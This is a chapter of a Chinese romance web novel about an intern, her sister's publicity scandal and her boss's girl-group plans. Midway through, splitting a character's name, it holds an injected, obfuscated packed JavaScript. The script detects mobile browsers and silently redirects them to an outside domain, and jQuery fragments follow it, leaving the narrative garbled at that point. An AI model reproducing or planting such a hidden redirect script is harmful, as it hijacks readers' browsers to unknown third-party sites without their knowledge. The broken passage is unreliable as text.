叶思媛的事公关了三天，热度还没降下来。
本人不出来发声道歉，网友显然不买账，评论甚至有把叶思媛骂退娱乐圈的气势。
居然不通过她的好友申请。
也是活该！
叶思琪手里握着请假单，一鼓作气跑到顾洛白办公室，“顾总，我周三周五请个假。”
顾洛白头也没抬，只在右边拍了下桌子。叶思琪见状把两张A4纸放到他手边，安静地坐在前面的推椅等他回复。
相比拜访者络绎不绝的工作日，今天办公室有些冷清。顾洛白没有行程的时候，整个人就比较随意。
领口的扣子散了两颗，手臂左右两边各戴一只袖环，袖子挽到臂肘，袖口也倒置收紧在袖箍里，毫不凌乱。
他翻完手里的这份文件，把两张纸夹在黑色垫板，再慢条斯理在抽屉里摸出一支钢笔。途中他的目光一直放在那张纸上，从头到尾粗略扫了一遍，两指顶出笔壳，两次连笔就签好了名字。
“谢谢顾总。”叶思琪起身接下两张纸。
“叶小姐，坐。”顾洛白转了个四十五度，仰靠在椅子上，“娱乐产业一直是嘉亿的支柱产业，公司也在不断开拓投资项目。目前较新的唱跳组合你有什么看法？”
“选秀我追啊。”叶思琪目光一下子亮了，随即黯淡下去。
上半年火热的男团选秀她可是一期一期跟着投票过来的，她的两个大墙头都没进出道位，气死了。
国内的这档综艺捧出了不少新星，可后续的发展还有待商榷。叶思琪如实发表自己的看法，“产业链还不完善，后劲可能不足，实力有待提升。”
“不是问这个。”顾洛白敲了下桌子，“嘉亿有推出女团的计划，你有什么想法？”
“哦，挺好啊。前期投入可能比较大，实力出圈后应该能赚钱吧。”
说实话么，她肯定对男团更感兴趣，几个帅哥一起给你表演节目多赏心悦目，多快乐啊。
顾洛白把椅子转正，两手交叉放置在桌前，一脸无奈，“我说你的想法，要不要加入。”
“啊？”叶思琪一愣，一时没听懂顾洛白的话。
“我？”她伸出食指点了下自己，“参加女团出道？”
“会请专业老师来教，课程比较紧，所以你可能需要平衡下学业。”
叶思琪眼见顾洛白越说越认真，很像一回事，噗嗤笑出了声，“顾总！您可太看得起我了，我哪有这天赋，我也完全没有进娱乐圈的想法。”
“你以前不是说……”
想当大明星、当个歌手吗？
叶思琪整个脸庞发亮，一手轻掩嘴巴，笑意却从眼睛里漏了出来。盯着顾洛白像是发现了什么新奇玩意，肩膀止不住一抖一抖。
顾洛白在她的视线下逐渐噤声，知道自己干了一件蠢事。他靠在椅子上，心想，“算了，反正只有我记得，当了真。”
他捏了捏鼻梁骨，随后站了起来，下了逐客令，“去吧，实习生请假要扣钱的。”
叶思琪立刻正襟危坐，收起笑容举手，“那我周五还能上个两小时班，我能修改下请假单么。”
顾洛白斜睥了她一眼，不做回答。
他走向办公室里的隔间，说：“我休息会儿，下午的咖啡就不用了。”
“好的顾总。”叶思琪也就这么随口一说，反正Nelson给的也挺多，足够抵上这两天请假的工资。
她正准备撤退，忽地想起件事，“刚进来的时候钧哥叫我问问您，周五晚上的活动需要安排女伴么。”
“不用了，我自有安排。”
叶思琪脱口而出：“柳小姐不合适吧。”
“哦？”顾洛白脚步一顿，转身笑道，“怎么不合适。”
黑色领带松垮地挂在领口，顾洛白随意地靠在门槛。只要他愿意心平气和地交流，收敛起谈判时候的压迫感，相貌神情和嗓音都充满散漫气。
没有领导的距离感，就特别地，平易近人。
不知怎么地，叶思琪吞了口唾沫，才答道：“顾总应该是要签柳小姐当练习生的，女团可不能有恋爱绯闻，一点点捕风捉影的黑历史就足以永不翻身。”
她有在网上搜过柳韵雯，名副其实的千金大小姐，家底雄厚。Ins上有po过自己跳舞、弹钢琴的视频，会的才艺不少，还在海外训练过，资质确实不错。
“那你说谁合适。”
顾洛白的视线明晃晃射向叶思琪，他精致的面孔微微抬起，眼睛深幽却无比冷静。
“也不能是叶思媛。”
也不知是刚闹了一出还是顾洛白今天的声线过于轻柔，叶思琪全然放松，有什么说什么，打趣道：“不过顾总，您绯闻女友摊上大事了您都不表示一下么。”
“我从不和自己员工有不正当关系。”
顾洛白英俊的面容又重新铺了一层冷漠，立刻降到零下温度。
隔间的门咔哒落锁，只剩叶思琪在空荡的办公室内咬了咬唇。
好吧，这会儿是明摆着否认了。
好不容易刚感觉亲近了一点又回到了原点。
顾洛白的历任绯闻女友也可能会出现在其他场合，也有狗仔为了吸引眼球会跟顾洛白的私人行程，被爆出来不少照片。
但叶思媛只出现在正式场合，大多是可以提升她知名度的发布会。
她出事顾洛白完全不着急，两人确实不是什么亲密关系。但同时也说明，叶思媛没后台，只是嘉亿签约的一个艺人，那她哪来的底气和严广诚、网友硬刚啊？
*
周五，叶思琪准点到达影棚。
Nelson大笑脸相迎，相反地，叶思媛脸色不是那么友善。
两人一同在化妆间的位置坐下，叶思琪高声道：“你居然还知道来工作，我以为你都要退圈不干了。”
叶思媛灌了一口矿泉水，才说：“加我微信有什么事，如果是让我向严广诚那个渣男道歉的话就不用了。”
“谁叫你和他道歉啊。”叶思琪掏出手机，点开微信再次发送验证消息，“芸姐发你的内容你看都没看吧。”
“也是，生起气来连家人都可以不管不顾，这些同事又算什么。”
“你！”叶思媛当即站了起来，面色通红，却哑口无言。
镜子反射出叶思琪略显冷淡的面庞，她踩着地面带着椅子转了个圈，对上叶思媛愤懑的视线，“我以为你离家五年后能长大不少，除了爸妈，没人会把你当公主捧着，收收你这公主脾气。当然，你要有资本当影后了，以后有的是人把你当大神供着。”
叶思琪声音降到了冰点，“现在你只不过是刚冒头的新人，有一番代表作品了么？实绩图能填几个字？要不是靠着和顾洛白的那点绯闻，谁认识你啊。嘉珀代言人诶，砸你身上了也得有本事接得住。让一个傻逼的傻逼手段就毁了你的后半路亏不亏啊。”
“好了，我说完了。”叶思琪耸肩，当即转变表情，一脸无所谓，“这就是我打算发给你的内容。”
化妆间的镜子铺满一面墙壁，将叶思媛沉静的模样照得无处遁寻。
推门一开，一众工作人员涌了进来。
率先是N
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363776|183825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
elson和编辑，两人在叶思琪和叶思媛的脸上来来回回转了两圈。
化妆间里安静得可怕，任谁看了，气氛都有些沉重。
Nelson清了清嗓子，说道：“第一套是仙女风和恶女风的反差，咱先试试水，谁来当这个恶女？”
叶思媛的眼睛红了一圈，脸上布满迷茫、委屈，两片嘴唇微张，想说点什么，但却没发出一点声音。她盯着镜子里的自己，内心不停地挣扎。
所有人心照不宣地等着她们做选择。
与镜中叶思琪视线相接的那瞬间，叶思媛迅速扯了扯嘴角，不声不响坐了下来。
“我吧。”叶思琪转头看了Nelson一眼，作势举手，“咱今天适合这风格。”
“行。”编辑招呼助理拿来两套衣服，再对妆造老师说道，“先给她加个齐切刘海看看，其他和昨天沟通的差不多，记得底妆一定要清透光感……”
“嗡。”
叶思琪手里的手机一震，她垂眸一看——
叶思媛通过了她的好友验证。
发型和化妆老师分别开工，一人负责一个开工。
叶思琪起先给A大学生会拍过宣传海报，也不算没有经验。
但这次前面站的都是专业人员，还是时尚大片，她难免犯怵。
简单的塑料圆桌，她与叶思媛分坐两边，左右手相握呈现掰手腕姿势，整个人侧着身子面对镜头。
“思琪右腿往后一点，腰压下去，背再往上顶，脖子一定要抻直。”
叶思琪这会儿知道Nelson为什么能出片了，因为他对人的形体要求是真的高！她都怀疑她以这个姿势拍一天，她得腰肌劳损，周末都练不了车了。
“刚不是呲牙咧嘴说的可起劲了。怎么？这就不行了。”叶思媛冷哼一声，用只两个人听到的声音说道，“手别抖啊。”
叶思琪眸光瞥了过去，细致的挑眉和眼线勾勒出她的张扬。握住叶思媛的手猛然用力，朝自己的手心收紧，低眉抬眼间尽是不屑，“是你在抖吧。”
“对对对，就是这样，别动。”
“很好，叶思媛再笑一下。”
来回拍了三套双人Look以及叶思媛的四套单人照，可以收工的时候已经六点了。
叶思琪懒得卸妆，换好衣服就走，也没等叶思媛出来。
她约了苏染和慕伊诺在附近吃晚饭，庆祝她一次即过的科目二。
临走前，她乘坐电梯直达中主六十一楼拿工卡，发现办公室灯居然还亮着，门也没关。
今天没说加班吧？
叶思琪给季婷发了条消息，准备关灯再走。
一阵细细簌簌的声响，古铜色大门一动，一名女子捂着眼睛跑了出来。
“你……”叶思琪还没来得及看清楚她的样貌，听到了一阵抽泣声。
随后，顾洛白面色阴沉地走了出来。
衬衫没扣整齐，马甲凌乱地套在身上。他手臂上挎着一件酒红色的西装外套，手里随意地拎了根领带。
一抬眸，和叶思琪打了个照面。
叶思琪握着帆布包袋的手一紧，想当场消失。
“顾总……您、还没走啊。”叶思琪尴尬地低着头，左右来回转盯着地面，“我就是来拿个包，对，拿个包。”
顾洛白先是一愣，然后勾起嘴角，边走边说道：“就你吧。”
叶思琪不解地抬头：“啊？”
“你说谁都不合适。”顾洛白拨打电话，在经过叶思琪的时候停住脚步，目光肆意地在她脸上游走，“我看你就挺合适。”